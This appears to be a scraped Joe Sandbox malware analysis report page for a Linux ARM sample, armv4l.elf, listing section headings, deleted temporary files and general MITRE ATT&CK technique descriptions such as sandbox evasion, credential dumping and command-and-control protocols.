Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report armv4l.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0IJVaB (deleted)

/tmp/qemu-open.0X1aDi (deleted)

/tmp/qemu-open.0oODtB (deleted)

/tmp/qemu-open.10qzvz (deleted)

/tmp/qemu-open.3XvccA (deleted)

/tmp/qemu-open.3i4kTA (deleted)

/tmp/qemu-open.5MTrIA (deleted)

/tmp/qemu-open.607tnC (deleted)

/tmp/qemu-open.6Z88KB (deleted)

/tmp/qemu-open.6lkvwz (deleted)

/tmp/qemu-open.7QKDFA (deleted)

/tmp/qemu-open.7TQpWx (deleted)

/tmp/qemu-open.8GnP0z (deleted)

/tmp/qemu-open.94NndC (deleted)

/tmp/qemu-open.Cv1OVA (deleted)

/tmp/qemu-open.HWxgmA (deleted)

/tmp/qemu-open.HnljaC (deleted)

/tmp/qemu-open.IAkrRx (deleted)

/tmp/qemu-open.IlC8Ty (deleted)

/tmp/qemu-open.JwctKA (deleted)

/tmp/qemu-open.KT9Lpy (deleted)

/tmp/qemu-open.MoEEKz (deleted)

/tmp/qemu-open.PH87Fz (deleted)

/tmp/qemu-open.SHkjJz (deleted)

/tmp/qemu-open.TOdx6x (deleted)

/tmp/qemu-open.UhUg7B (deleted)

/tmp/qemu-open.V1By1x (deleted)

/tmp/qemu-open.VEZGIA (deleted)

/tmp/qemu-open.XaonLA (deleted)

Linux Analysis Report
armv4l.elf

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre